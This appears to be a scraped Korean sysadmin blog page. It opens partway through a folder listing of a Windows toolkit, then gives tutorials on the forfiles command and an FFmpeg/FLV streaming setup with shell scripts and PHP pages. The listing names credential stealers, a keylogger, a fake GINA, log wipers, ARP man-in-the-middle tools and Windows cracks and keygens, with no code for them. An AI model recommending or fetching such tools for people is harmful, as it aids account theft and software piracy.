- Registry Pruner v2.5
- Registry Ripper v1.2
- Replicator v2.2.3
- Show Stopper v2.0.3
- Snooper v1.4
- Time Cop v1.2
- Time Sync v1.1.4
- URL Discombobulator v1.7.1
- Version Browser v3.1
- WhoIs v2.2.5
- Window Watcher v2.2.1
- Zone Manager v1.2
* Missing files (DLL, OCX, etc)
- Misc Other (VB 3 & 4+).zip
- Visual Basic Runtimes (5 & 6).zip
- WinPcap 3.1 Beta 4
* Network & Internet Tools
- 1st Transfer 2000 FTP client
- 7th Sphere PortScan
- Active Ports v1.4
- Analyzer v2.2
- Bandwidth Monitor v1.0.44
- Cisco PIX Firewall Password Calc
- Connection Keep Alive
- CryptCat (12-02-2003)
- DataPipe
- Email & Related
> POP3 Cleaner v2.0 Beta
> Receiving.exe
> Sending.exe
> SpeedMail v1.2 (Send with attachment)
- FreshDownload v7.20
- Host Scanner
- IP Tools v2.50
- IPsearch v2.0
- IRS v1.9
- MingSweeper 1.00.130 (a5)
- ModemMax
- NcFTP v3.1.8
- Netcat 1.11
- NetDemon 0.95b
- NetDemon 3.0
- NetScanTools v5.0
- Nmap v3.75
- Port Blocker v1.0.15
- PuTTY v0.56b
- Raw Clients
> DNS Lookup v1.2
> Mail Dump v1.2
> Raw TCP Client v1.2
- Sauron v1.2
- Scanning (CMD)
> scan100
> scan500
> scan1000
- sTerm v1.6
- Stunnel v4.05
- TCP Optimizer
- WEP (Wi-Fi) Keygen v1.9
- WinARP MitM v0.9.5
- WinARP Swiss Knife v0.9.2
- WinARP Watch
- WinSock and TCP Repair
- WSPing32
- X-File Get v1.0b
- X-NetStat Pro v5.12
* NTSecurity.nu Freeware
- CECrypt
- Contact (Text file)
- DelGuest
- ReadMe (Text file)
- AckCmd
- BrowseList
- ClearLogs
- CryptF
- DBProbe
- DumpUsers
- EFSView
- EtherChange
- EtherFlood
- FakeGINA
- FileHasher
- GPList
- GrabItAll
- GSD (Get Service Dacl)
- Inzider
- IPEye
- IPSecScan
- KerbCrack
- KLogger
- ListModules
- LNS - List NTFS Streams
- MACMatch
- NSCopy
- PEriscope
- PMDump
- PromiscDetect
- PStoreView
- RPAK (Routing Protocol Attack Kit)
- SetOwner
- SMB Downgrade Attacker
- Snitch
- SQLdict
- StrongPass
- Tini
- Winfo
- WinRelay
- WinZapper
- WPSweep
- WUPS
* Other (Misc.)
- Autorun
> Autorun.inf Maker
> Launch v1.2
> Removable disk WinXP Icon
> Trah Starterfile
- CD Tray Pal v1.0.55
- FreshView v3.60
- GmailFS (Must Install)
- GSpot v2.2.1
- HTML Tag Remover v1.0.20
- reJPEG v1.0
* Password Recovery
- Brutus AET2
- Cain & Abel v2.5
- John the Ripper v1.6
- L0pht Crack 5 (LC5)
- Local Password Recovery (Progenic)
- PacketCatch v1.1.0.0
- PacketInside v1.0.0.1
- PassDump (Win9x)
- Password Thief
- PWLInside v1.22
- SAMInside v2.2.6.0
- TPU (Total Password Utility)
- VeoVeo v3.4
- Winrtgen v1.2
* RJL Software (Freeware)
- DelayExec v1.00
- Open & Close CD v1.20
- Shutdown v1.02
- Simple Search-Replace v1.03
- TreeCopy v1.11
* SteelBytes.com Freeware
- Disk & File
> AutoCompress v1.2.0.15
> FileCompare v1.0.0.12
> HD_Speed v1.4.0.43
- Misc
> JPG & PNG Stripper v1.1.0.8
> Sleep v1.0
- Network
> ConnectionMonitor v1.2.0.30
> Email Tester v1.2.3.12
> FileGateway v1.4.0.109
> PortTunnel v2.0.5.281
> YAPS v1.0.2.30
- Programming
> Exe32Pack v1.42
* SysInternals.com Freeware
- Misc
> AdRestore v1.1
> Autologon v1.0
> ClockRes v1.0
> DiskExt v1.0
> DiskView v2.0
> EFSDump v1.02
> Hex2dec v1.0
> Hostname Converter
> Junction 1.03
> LoadOrder v1.0
> LogonSessions v1.1
> PendMoves v1.1
> Regjump v1.01
> Sigcheck v1.0
> Streams v1.5
> Strings v2.1
> Sync v2.2
> VolumeId v2.0
- Monitoring Tools
> CPUMon v2.0
> DebugView v4.31
> Diskmon v2.01
> Filemon v6.12
> Handle v2.20
> ListDLLs v2.23
> NTFSInfo v1.0
> PMon v1.0
> Portmon v3.02
> Process Explorer v8.52
> Regmon v6.12
> TCPView v2.34
> TDImon v1.01
> Tokenmon v1.01
> Winobj v2.13
- Performance Tools
> CacheSet v1.0
> Contig v1.51
> Frob v1.6a
> PageDefrag v2.3
- Utilities
> AccessEnum v1.2
> Autoruns v6.0
> Bluescreen v3.2 (Screensaver)
> BgInfo v4.08
> Ctrl2cap v2.0
> FAT32 for WinNT 4.0 v1.01
> Fundelete v2.02 (WinNT)
> LDMDump v1.02
> LiveKd v2.11
> NTFS for Win9x v2.0 (Read Only)
> NTFSCHK v1.0
> NTFSFlp v1.0
> PsTools v2.1
> SDelete v1.2
> ShareEnum v1.51
- SysInternals Free Tools (Link)
* System Information
- Aezay Computer Info v1.61
- Aida32 (Enterprise) v3.93
- Everest Home v1.51
- FlexInfo Pro v1.0.125
- FreshDiagnose v6.80
- NeroInfo Tool v2.21
- PCResView v2.0
- ShellExView v1.10
- SIW v1.44
- System Properties v1.2
- WinAudit v1.3
* UNIX Utilities (Win32 Ports)
- Outwit v1.23
> docprop
> odbc
> readlink
> readlog
> winclip
> winreg
- UnxUtils
> bin
sh.exe
> usrlocalwbin
agrep.exe ansi2knr.exe basename.exe bc.exe
bison.exe bunzip2.exe bzip2.exe bzip2recover.exe
cat.exe chgrp.exe chmod.exe chown.exe
cksum.exe cmp.exe comm.exe compress.exe
cp.exe csplit.exe cut.exe date.exe
dc.exe dd.exe df.exe diff.exe
diff3.exe dircolors.exe dirname.exe du.exe
echo.exe egrep.exe env.exe expand.exe
expr.exe factor.exe fgrep.exe find.exe
flex.exe fmt.exe fold.exe fsplit.exe
gawk.exe gclip.exe gplay.exe grep.exe
gsar.exe gunzip.exe gzip.exe head.exe
id.exe indent.exe install.exe join.exe
jwhois.exe less.exe lesskey.exe ln.exe
logname.exe ls.exe m4.exe make.exe
makedepend.exe makemsg.exe man.exe md5sum.exe
mkdir.exe mkfifo.exe mknod.exe mv.exe
mvdir.exe nl.exe od.exe paste.exe
patch.exe pathchk.exe pclip.exe pr.exe
printenv.exe printf.exe ptx.exe pwd.exe
recode.exe rm.exe rman.exe rmdir.exe
sdiff.exe sed.exe seq.exe sha1sum.exe
shar.exe sleep.exe sort.exe split.exe
stego.exe su.exe sum.exe sync.exe
tac.exe tail.exe tar.exe tee.exe
test.exe touch.exe tr.exe tsort.exe
type.exe uname.exe unexpand.exe uniq.exe
unrar.exe unshar.exe unzip.exe uudecode.exe
uuencode.exe wc.exe wget.exe wget.hlp
which.exe whoami.exe xargs.exe yes.exe
zcat.exe zip.exe zsh.exe
* Windows System & Security
- Account Lockout & Management Tools
- Active CPU v1.1
- AutoShutdown v1.1
- Cookie Eater v1.0
- DropMyRights
- DumpEvent
- Dump Event Log (DumpEL)
- Dump Registry (DumpReg)
- Dump Security v2.8.2 (DumpACL)
- EZMem Optimizer v1.0.15
- FileSplit v2-c
- Fix XP Logon (GINA)
- FreshUI v7.26
- GuidoZ MultiDesk v1.2
- IPFront
- MaxFormat v3.5
- MJB Keyfinder v1.5b3
- NET Users v1.21
- NET View v1.20
- Norton WinDoctor 2004
- Partition Management
> PartInNT.exe
> Pqboot32.exe
> PTEDIT32.EXE
- PKWare v2.04g (DOS)
- Pocket KillBox
- PrcView v3.7.3.1
- Print Screen Deluxe 5.1
- RegDACLE v5.1
- RestoreMBR
- SetFileDate 1.0
- SFV Checker v1.12
- SHA1 Sum
- SmeDump
- System Optimizer
- Total Uninstall v2.34
- Universal Activation Crack (WinXP)
- UnZip v5.12 (CMD)
- UPX v1.25 (Win32)
- UPX v1.25 (DOS)
- UPX Shell v3.0.9.2511
- UPX-iT v1.6.1
- WHOAMI
- Windows, Office & Misc CD Keys
- Windows Grep
- Windows XP SP2 Mods
- WinImage v6.10
- WinISO 5.3
- WinRAR 3.41
- XP AntiSpy v3.92
- XP Keygens & Changers
- XPlite & 2000lite Pro 1.5.02
2011/09/13 20:12 2011/09/13 20:12

원도우에서

유닉스의 find mtime 같은 명령을

실행 시키고 싶을 때

배치 스트립트로 가능하지만

ms에서 제공하는 forfiles 이라는 명령어를 사용 하면 된다.

그러나.. xp에서는 기본 제공 하지 않아...

ftp://ftp.microsoft.com/Reskit/y2kfix/x86/

요기 가서 다운을 받자~

(2003서버에서는 기본 제공함)

forfiles /p "C:\특정디렉토리" /M "*.*" /D -10 /C "CMD /C del @FILE"

/p : 디렉토리 지정

/m : 파일 지정

/d : 날짜 지정

예1) 웹로직 디렉토리의 access 로그를 현재부터 3일 이전은 삭제한다.

forfiles /p "C:\weblogic\\logs" /M "access.*" /D -3 /C "CMD /C del C:\weblogic\\logs\@file"

예2)MS에서

C: 드라이브에 있는 모든 배치 파일의 목록을 표시하려면 다음과 같이 입력합니다.

forfiles /p c:\ /s /m*.bat /c"cmd /c echo @file is a batch file"

C: 드라이브에 있는 모든 디렉터리의 목록을 표시하려면 다음과 같이 입력합니다.

forfiles /p c:\ /s /m*.* /c"cmd /c if @isdir==true echo @file is a directory"

C: 드라이브에 있는 100일 이상된 모든 파일의 목록을 표시하려면 다음과 같이 입력합니다.

forfiles /p c:\ /s /m*.* /dt-100 /c"cmd /c echo @file : date >= 100 days"

C: 드라이브에 있는 1993년 1월 1일 이전의 모든 파일을 나열하고 해당 파일에 대해 "file is quite old!"를 표시하려면 다음과 같이 입력합니다.

forfiles /p c:\ /s /m*.* /dt-01011993 /c"cmd /c echo @file is quite old!"

C: 드라이브에 있는 모든 파일의 확장명을 열 형식으로 나열하려면 다음과 같이 입력합니다.

forfiles /p c:\ /s /m*.* /c "cmd /c echo extension of @file is 0x09@ext0x09" With:

C: 드라이브에 있는 모든 배치 파일의 목록을 표시하려면 다음과 같이 입력합니다.

forfiles /p c:\ /s /m *.bat /c "cmd /c echo @file is a batch file"

C: 드라이브에 있는 모든 디렉터리의 목록을 표시하려면 다음과 같이 입력합니다.

forfiles /p c:\ /s /m *.* /c "cmd /c if @isdir==true echo @file is a directory"

C: 드라이브에 있는 100일 이상된 모든 파일의 목록을 표시하려면 다음과 같이 입력합니다.

forfiles /p c:\ /s /m *.* /d t-100 /c "cmd /c echo @file : date >= 100 days"

C: 드라이브에 있는 1993년 1월 1일 이전의 모든 파일을 나열하고 해당 파일에 대해 "file is quite old!"를 표시하려면 다음과 같이 입력합니다.

forfiles /p c:\ /s /m *.* /d t-01011993 /c "cmd /c echo @file is quite old!"

C: 드라이브에 있는 모든 파일의 확장명을 열 형식으로 나열하려면 다음과 같이 입력합니다.

forfiles /p c:\ /s /m*.* /c "cmd /c echo extension of @file is 0x09@ext0x09"

------------------사용방법---------------

K:\>forfiles
FORFILES v 1.1 - emmanubo@microsoft.com - 4/98

Syntax : FORFILES [-pPath] [-mSearch Mask] [-ccommand] [-d<+|-><DDMMYYYY|DD>] [-
s]

-pPath Path where to start searching
-mSearch Mask Search files according to <Search Mask>
-cCommand Command to execute on each file(s)
-d<+|-><DDMMYYYY|DD> Select files with date >= or <=DDMMYYYY (UTC)
or files having date >= or <= (current date - DD days)
-s Recurse directories
-v Verbose mode

The following variables can be used in Command :
@FILE, @FNAME_WITHOUT_EXT, @EXT, @PATH, @RELPATH, @ISDIR, @FSIZE, @FDATE,
@FTIME

To include special hexa characters in the command line : use 0xHH

Default : <Directory : .> <Search Mask : *.*> <Command : "CMD /C Echo @FILE">
Examples :
FORFILES -pc:\ -s -m*.BAT -c"CMD /C Echo @FILE is a batch file"
FORFILES -pc:\ -s -m*.* -c"CMD /C if @ISDIR==TRUE echo @FILE is a directory"
FORFILES -pc:\ -s -m*.* -d-100 -c"CMD /C Echo @FILE : date >= 100 days"
FORFILES -pc:\ -s -m*.* -d-01011993 -c"CMD /C Echo @FILE is quite old!"
FORFILES -pc:\ -s -m*.* -c"CMD /c echo extension of @FILE is 0x22@EXT0x22"

2011/09/02 11:53 2011/09/02 11:53

1. 설치 환경 준비 하기

우선 RHEL5 환경에서 encoding 서비스를 위해 필요한 패키지를 설치할 수 있도록 YUM 환경을 구성한다.

yum package install - RHEL5 에서 Centos5 Yum 저장소 이용하기

# yum -y install yum-priorities
# rpm -Uvh http://apt.sw.be/redhat/el5/en/x86_64/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.x86_64.rpm

http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.5.1-1.el5.rf.i386.rpm



# vi /etc/yum.repos.d/centos.repo

아래 부분에서 5.2를 5.5 로 변경

x86_64 ---> i386으로 변경

----------------------------------------------------

[base-be]
name=CentOS-5 - Base
#repo=os
baseurl=http://mirror.centos.org/centos/5.2/os/x86_64/
enabled=1
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/5.2/os/x86_64/RPM-GPG-KEY-CentOS-5

[updates-be]
name=CentOS-5 - Updates
baseurl=http://mirror.centos.org/centos/5.2/updates/x86_64/
enable=1
gpgcheck=1

[centosplus-be]
name=CentOS-5 - Plus
baseurl=http://mirror.centos.org/centos/5.2/centosplus/x86_64/
enabled=1
gpgcheck=1

[addons-be]
name=CentOS-5 - Addons
baseurl=http://mirror.centos.org/centos/5.2/addons/x86_64/
enable=1
gpgcheck=1

[extras-be]
name=CentOS-5 - Extras
baseurl=http://mirror.centos.org/centos/5.2/extras/x86_64/
enable=1
gpgcheck=1

[fasttrack-be]
name=CentOS-5 - Fasttrack
baseurl=http://mirror.centos.org/centos/5.2/fasttrack/x86_64/
enabled=1
gpgcheck=1

-------------------------------------------------------------

# yum -y install yum-priorities
# yum -y install yum
# yum -y install yum-utils


2. FFMPEG로 인코딩 환경 구축하기 

- 기본 프로그램 설치

# yum install ruby
# yum install ncurses-devel*
# yum install lame
# yum install libogg
# yum install libvorbis
# yum install flvtool2
# yum install ffmpeg

- 코덱 설치

# wget http://www3.mplayerhq.hu/MPlayer/releases/codecs/essential-20061022.tar.bz2
# bunzip2 essential-20061022.tar.bz2
# tar xvf essential-20061022.tar
# mkdir /usr/local/lib/codecs/
# mv essential-20061022/* /usr/local/lib/codecs/
# chmod -R 755 /usr/local/lib/codecs/

# vi /etc/ld.so.conf
# ldconfig

3. ffmpeg 기본 사용법

AVI -> FLV

# ffmpeg -i onestar.avi -ar 22050 -ab 32 -f flv -s 640x480 onestar.flv | flvtool2 -U stdin onestar.flv

-i             : input file name
-ar          : audio sampling rate in HZ
-ab          : audio bit rate in kbit/s
-f             : output format
-s             : output dimension

FLV -> JPG

# ffmpeg -i test.flv -an -r 1 -y -s 640x480 test%d.jpg

-i             : input file name
-an         : disable audio
-r            : fps
-y           : overwrite file
-s            : output dimension

Particular frame to JPG

# ffmpeg -i test.flv -an -ss 00:00:10 -t 00:00:01 -r 1 -y -s 640x480 test%d.jpg

-ss          : recored start time
-t            : record end time last for

- ffmpeg 실무 사용법

ffmpeg를 이용하여 avi 파일을 flv로 변환 한다.

# ffmpeg -i onestar.avi -b 512k -ar 22050 -ab 128k -r 24 -s 400x300 onestar.flv
 
or

# ffmpeg -i "onestar.avi" -vcodec flv -f flv -r 29.97 -s 400x300 -aspect 4:3 -b 320k -g 160 -cmp 2 -subcmp 2 -mbd 2 -flags +aic+cbp+mv0+mv4+trell -ac 1 -ar 22050 -ab 128k "onestar.flv"

- FLV에 메타데이터 넣기 (스트리밍 보기-중간 구간 바로 보기)

# flvtool2 -U onstar.flv

- 동영상 썸네일 만들기

# ffmpeg -y -i onestar.avi -vframes 1 -ss 00:00:02 -an -vcodec png -f rawvideo -s 400x300 onestar.png

# ffmpeg  -itsoffset -4  -i test.avi -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 test.jpg

4. mencoder를 이용한 동영상에 자막 넣기

동영상을 flv 로 변환할때 자막을 같이 넣을 경우 기존의 ffmpeg로는 자막 포함 기능이
제공되지 않는다. 자막을 포함하여 인코딩을 할 수 있는 프로그램으로 mencoder이 있다.
설치는 yum으로 쉽게 가능하다.

# yum install mencoder

설치 후 자막의 언어 설정을 아래와 같이 한다.

$ vi ~/.mplayer/mencoder.conf
-------------------------------------------------------------------------

font="/usr/share/fonts/korean/TrueType/gulim.ttf"
subfont-text-scale=3
subcp=cp949

-------------------------------------------------------------------------

이제 mencoder로 자막을 포함해서 인코딩을 한다.

$ mencoder -noodml [avi파일]  -o [flv파일]  -sub $1.smi -of lavf -oac mp3lame -lameopts abr:br=128 -ovc lavc -lavcopts vcodec=flv:vbitrate=512:mbd=2:mv0:trell:v4mv:cbp:last_pred=3 -srate 44100 -lavfopts i_certify_that_my_video_stream_does_not_use_b_frames -vf-add scale=400:300

5. Web Streaming 을 위한 Player 연동하기

- 웹 FLV_Player 연동하기

웹에서 FLV 파일을 스트리밍으로 볼수 있는 Player는 여러가지가 있다.

* UCCUP에서 제공하는 Player - http://www.uccup.kr
* http://flowplayer.org/download.html
* GRZ_JWMediaPlayer

- UCCUP Player 연동하기

아래 구문중 flv 파일명과 png 파일명을 수정 후 HTML 문서에 붙여 넣는다.
flv,png 파일은 [UCCUP설치경로]/SERVICE 디렉토리 밑에 복사해 둔다.


- GRZ_JWMediaPlayer 연동하기

아래는 textcube의 플러그인으로 연동된 GRZ_JWMediaPlayer를 이용하는 방법이다.

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="425" height="340">
<param name="movie" value="/plugins/GRZ_JWMediaPlayer/mediaplayer.swf"/>
<param name="allowfullscreen" value="true"/>
<param name="wmode" value="transparent"/>
<param name="flashvars" value="width=425&height=340&thumbsinplaylist=true&displayheight=320&overstretch=true&logo=&searchbar=false&linkfromdisplay=true&linktarget=_blank&file=/plugins/GRZ_JWMediaPlayer/mkpl.php?list=1|%5bhttp%5dblog.syszone.co.kr%2fattach%2f1%2f1466599573.flv|alang.flv+%289.64+MB%29|||||%5bhttp%5dblog.syszone.co.kr|"/>
<!--[if !IE]> <-->
<object type="application/x-shockwave-flash" transparent="yes" data="/plugins/GRZ_JWMediaPlayer/mediaplayer.swf" flashvars="thumbsinplaylist=true&displayheight=320&overstretch=true&logo=&searchbar=false&linkfromdisplay=true&linktarget=_blank&file=/plugins/GRZ_JWMediaPlayer/mkpl.php?list=1|%5bhttp%5dblog.syszone.co.kr%2fattach%2f1%2f1466599573.flv|alang.flv+%289.64+MB%29|||||%5bhttp%5dblog.syszone.co.kr|" width="425" height="340">
<p>
<a href="/plugins/GRZ_JWMediaPlayer/mediaplayer.swf">[Flash]</a></p>
</object>
<!--> <![endif]-->

</object>

- FlowPlayer 연동하기

기본 연동법
------------------------------------------------------------------------------------

<object type="application/x-shockwave-flash" data="[your site]/FlowPlayer.swf"
width="320" height="263" id="FlowPlayer">

  <param name="allowScriptAccess" value="sameDomain"/>
  <param name="movie" value="[your site]/FlowPlayer.swf"/>
  <param name="quality" value="high"/>
  <param name="scale" value="noScale"/>
  <param name="wmode" value="transparent"/>
  <param name="flashvars" value="baseURL=[base URL]&amp;videoFile=movie.flv
  &amp;autoPlay=false&amp;loop=false&amp;autoBuffering=false
  &amp;splashImageFile=movie.png"/>
</object>

--------------------------------------------------------------------------------------
or
--------------------------------------------------------------------------------------

<script type="text/javascript" src="flowplayer-3.0.2.min.js"></script>
<script>
flowplayer("player", "./flowplayer-3.0.2.swf");

</script>

<a href="http://syszone.co.kr/yaejin/data/11.flv" style="display:block;width:400px;height:300px" id="player">

</a>

--------------------------------------------------------------------------------------
or
--------------------------------------------------------------------------------------

<script type="text/javascript" src="flowplayer-3.0.2.min.js"></script>
<script>
flowplayer("player", "./flowplayer-3.0.2.swf", {
    clip: {
        url: 'http://syszone.co.kr/yaejin/data/11.flv',
        autoPlay: false,

        onStart: function(clip) {
            pageTracker._trackPageview("configuration demo: " + clip.url);
        }
    }

});

</script>

<a href="http://syszone.co.kr/yaejin/data/11.flv" style="display:block;width:400px;height:300px" id="player">
<img src="http://syszone.co.kr/yaejin/data/11.png" border=0 alt="Play this video" />
</a>
---------------------------------------------------------------------------------------
or (youtube 방식의 동영상 라이브러리 구현)
---------------------------------------------------------------------------------------
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<c:if test="true">
<!-- include desired tools -->
<script src="http://syszone.co.kr/yaejin/jquery.min.js"></script>
<script src="http://syszone.co.kr/yaejin/flowplayer-3.0.2.min.js"></script>
</c:if>
<script src="http://syszone.co.kr/yaejin/flowplayer.playlist-3.0.1.min.js"></script>

<!-- player / playlist styling -->
<style>
/* player style */
/* container has a background image */
a.player {
        margin-top:40px;
        display:block;
        background:url(http://syszone.co.kr/yaejin/img/splash.png) no-repeat;
        width:425px;
        height:298px;
        padding:0 126px 75px 127px;
        text-align:center;
        color:#fff;
        text-decoration:none;
        cursor:pointer;
}

/* splash image */
a.player img {
        margin-top:115px;
        border:0;
}

#player {
        float:left;
}

/* playlist style */
#playlist {
        width:300px;
        height:380px;
        overflow-y:auto;
        overflow-x:hidden;
        border:1px solid #ccc;
        padding:4px 10px 12px 10px;
        background-color:#efefef;
        margin-top:20px;
        float:left;
}

/* playlist entry */
#playlist a {
        display:block;
        width:260px;
        height:60px;
        padding:7px;
        background-color:#fff;
        border:1px solid #ccc;
        font:11px "bitstream vera sans", "lucida grande",verdana;
        text-decoration:none;
        margin-top:7px;
        color:#666;
}

/* different states of a playlist entry */
#playlist a:hover {
        background-color:#ffc;
}

#playlist a.progress {
        background-color:#efefef;
}

#playlist a.playing {
        border:1px solid #666;
        background-color:#ffc;
}

#playlist a.paused {
        border:1px solid #666;
        background-color:#ffc;
}

/* elements inside playlist entry */
#playlist a img {
        border:0;
        float:left;
        margin-right:10px;
}

#playlist a strong {
        color:blue;
        padding-bottom:5px;
}

#playlist a em {
        border:0;   
        float:left;
        margin-right:10px;
        background:url(http://syszone.co.kr/yaejin/img/clock.gif) no-repeat 0 50%;
        padding-left:20px;
        color:#333;
        font-style:normal;
        margin-top:10px;
}

</style>

<!-- javascript setup. pretty simple stuff -->
<script>
$(function() {

        // setup player
        $f("player", "flowplayer-3.0.2.swf", {

                clip: {baseUrl: 'http://syszone.co.kr/yaejin/data'}

        // playlist plugin
        }).playlist("#playlist");

});
</script>

<!-- player container -->
<a id="player" class="player plain">
        <img src="http://syszone.co.kr/yaejin/img/play.png" />
</a>

<!-- the playlist. simple HTML controlled with CSS -->

<div id="playlist">

<a href=071202-탄생1.flv>
<img src=http://syszone.co.kr/yaejin/data/071202-탄생1.png />
<strong>071202-탄생1</strong><br /><br>
</a>

<a href=071202-탄생2.flv>
<img src=http://syszone.co.kr/yaejin/data/071202-탄생2.png />
<strong>071202-탄생2</strong><br /><br>
</a>

.
.
</div>
<!-- let the rest of the page float normally -->
<br clear="all" />

------------------------------------------------------------------------------------

6. Encoding 관련 스크립트 제작

ffmpeg를 이용하여 avi 파일을 flv로 변환하는 스크립트

# vi /usr/bin/ffmpeg_encoder.sh [filename] [geometry]
-----------------------------------------------------------------------------------

#!/bin/sh

if [ $# -lt 2 ]
then
echo -n "using : ffmpeg_encoder.sh <filename> <geometry> ( movie 400x300 )
";

exit;
fi

ffmpeg -i $1.avi -b 512k -ar 22050 -r 24 -ab 128k -s $2 $1.flv
ffmpeg -y -i $1.avi -vframes 1 -ss 00:00:02 -an -vcodec png -f rawvideo -s $2 $1.jpg
flvtool2 -U $1.flv
echo -n "--------------------------------------------------------
$1.avi completed $1.flv to encoding..!!
--------------------------------------------------------
";

----------------------------------------------------------------------------------

mencoder를 이용하여 avi파일과 smi 자막파일을 flv 파일로 변환하는 스크립트

# vi /usr/bin/mencoder_encoder.sh
----------------------------------------------------------------------------------

#!/bin/sh
if [ $# -lt 3 ]
then
echo -n "using : mencoder_encoder.sh <filename> <x_geometry> <y_geometry> <avi,mkv,flv> ( movie 400 300 avi )
";
exit;

fi

mencoder -noodml ${1}.${4} -o $1.flv -sub $1.smi -of lavf -oac mp3lame -lameopts abr:br=128 -ovc lavc -lavcopts vcodec=flv:vbitrate=512:mbd=2:mv0:trell:v4mv:cbp:last_pred=3 -srate 44100 i_certify_that_my_video_stream_does_not_use_b_frames -vf-add scale=${2}:${3}
ffmpeg -y -i ${1}.${4} -vframes 1 -ss 00:00:02 -an -vcodec png -f rawvideo -s ${2}x${3} $1.jpg
flvtool2 -U $1.flv
echo -n "--------------------------------------------------------
$1.avi completed $1.flv to encoding..!!
--------------------------------------------------------
";

---------------------------------------------------------------------------------

디렉토리내 flv 파일을 UCCUP Player에서 인식할 수 있는 HTML 코드로 변환하는 스크립트

# vi /usr/bin/convert_flvhtml.sh
--------------------------------------------------------------------------------

---------------------------------------------------------------------------------

AnyCall 핸드폰에서 볼수 있는 형태의 mp4 동영상으로 encoding 시켜 주는 스크립트

# vi /usr/bin/ffmpeg_encoder_mp4.sh
---------------------------------------------------------------------------------

#!/bin/sh

if [ $# -lt 1 ]
then
echo -n "using : ffmpeg_encoder.sh <filename> <quality=low,high>>
";

exit;
fi

if [ $2 == "high" ]
then

ffmpeg -i "${1}.avi" -vcodec mpeg4 -acodec libfaac -b 672k -ab 96k -ar 24000 -s 480x272 -aspect 16:9 -g 300  -mbd 2 -cmp 3 -precmp 3 -subcmp 3 -trellis 2 -flags +4mv -pass 1 -f psp -threads 2 "${1}.mp4"

else

ffmpeg -i "${1}.avi" -vcodec mpeg4 -acodec libfaac -b 250k -ab 96k -ar 24000 -s 480x272 -aspect 16:9 -g 300  -mbd 2 -cmp 3 -precmp 3 -subcmp 3 -trellis 2 -flags +4mv -pass 1 -f psp -threads $2 "${1}.mp4"

fi

echo -n "--------------------------------------------------------
$1.avi completed $1.mp4 to encoding..!!
--------------------------------------------------------
";

-----------------------------------------------------------------------------------

7. FFmpeg 와 Flv Player를 이용한 Web Streaming 서비스 환경 구축 하기

지금까지 설명한 기술 내용으로 일반 동영상 파일을 웹 환경에서 스트리밍이 가능한 flv 파일로 변환하고, 이용 가능한 Flv player를 통해 기본적인 스트리밍 환경을 구성할 수 있다.

아래는 실제 환경에 적용 가능한 수준의 스트리밍 환경을 구성해 보자

우선 스트리밍 서비스 대상 동영상을 웹 서비스가 가능한 특정 경로 밑의  SERVICE 란 디렉토리에 복사한다.

# cp *.avi [PATH]/SERVICE
# cd [PATH]/SERVICE

여기서 [PATH] 는 웹서버의 Document Root 아래에 해당하는 상대 경로이다.

해당 디렉토리 밑에 있는 avi 파일을 ffmpeg_encoder.sh 스크립트를 이용하여 flv 파일 형태로 모두 변환한다. (자동화 스크립트는 각자 개발 ..)

# ls -1 | grep flv$ > list.txt

uccup player 관련 파일을 [PATH] 에 복사해 둔다. -> 별도 요청

uccup 의 config 파일의 설정을 수정한다.

# vi config.php

// 실제 서비스 폴더
$SERVICE_DIR = $_SERVER[DOCUMENT_ROOT] . '[PATH]/SERVICE/';

.
.


이제 간단한 스트리밍 동영상 목록 페이지와 Player 뷰어 페이지를 개발해야 한다. 아래는 직접 개발한 간단한 소스이다. 참고 바람..

- 스트리밍 동영상 목록 페이지

# vi index.php

<?
include "./config.inc";

$root = "./SERVICE";
$fp = fopen("${root}/list.txt","r");
$fsize = filesize("${root}/list.txt");

if (!$fp) {
        echo ("list.txt  .");
        exit;
        }

while (!feof($fp)) {
        $str = fgets($fp,$fsize);
        $str = trim($str);
        $str = ereg_replace(".flv","",trim($str));
        $arr[] = $str;
        }

$M_num = sizeof($arr) - 1;
$MovieName = "<font size=3><b>\"$M_Name\" 에 해당하는 동영상/[$M_num]편 </b></font>";

?>

<html>

<head>
<link rel="stylesheet" href="main.css" type="text/css">

</head>

<body bgcolor=#DDE5D9>
<table width=650 cellspacing=5 cellpadding=0 border=0 bgcolor=#EFEFEF>
<tr>
<td height=50 align=left vaglign=middle bgcolor=white>&nbsp;
<? echo $MovieName; ?>
</td>
</tr>


<tr>
<td bgcolor=white align=center>

<table width=500 cellspacing=7 cellpadding=3 border=0>
<tr bgcolor=#DEDEDE align=center>
<?

if (!$fp) {
        echo ("list.txt 파일이 없습니다.");
        exit;
        }

while (!feof($fp)) {
        $str = fgets($fp,$fsize);
        $str = trim($str);
        $str = ereg_replace(".flv","",trim($str));
        $arr[] = $str;
        }

for ($i = 0; $i < sizeof($arr) -1 ; $i++) {

$A = ${i} % 5 ;
$B = ${i} + 1 ;
if (  $A  == 0 ) {

        echo ("</tr><tr bgcolor=#DEDEDE align=center><td>
        <table cellpadding=2 cellspacing=2 width=100% border=0>
        <tr><td align=center bgcolor=white><a href=view.php?filename=$arr[$i]&moviename=$B>
        <img src=$root/$arr[$i].jpg width=100 height=70 alt=$arr[$i] border=0></a>
        </td></tr>
        <tr><td align=center bgcolor=white>$M_Name $B</td></tr>
        </table>
        </td>");

} else {

        echo ("<td>
        <table cellpadding=2 cellspacing=2 width=100% border=0>
        <tr><td align=center bgcolor=white><a href=view.php?filename=$arr[$i]&moviename=$B>
        <img src=$root/$arr[$i].jpg width=100 height=70 alt=$arr[$i] border=0></a>
        </td></tr>
        <tr><td align=center bgcolor=white>$M_Name $B</td></tr>
        </table>
        </td>");

}

}


?>

</td></tr></table>


- 동영상 Player 뷰어 페이지

# vi view.php

<?
include "./config.inc";
$root = "./SERVICE";
$fp = fopen("${root}/list.txt","r");
$fsize = filesize("${root}/list.txt");
$MovieName = "<font size=3><b>\"$M_Name\" [$moviename]편에 해당하는 동영상</b></font>";
?>

<html>

<head>
<link rel="stylesheet" href="main.css" type="text/css">
</head>

<body bgcolor=#DDE5D9>
<table width=650 cellspacing=5 cellpadding=0 border=0 bgcolor=#EFEFEF>
<tr>
<td height=50 align=left vaglign=middle bgcolor=white>
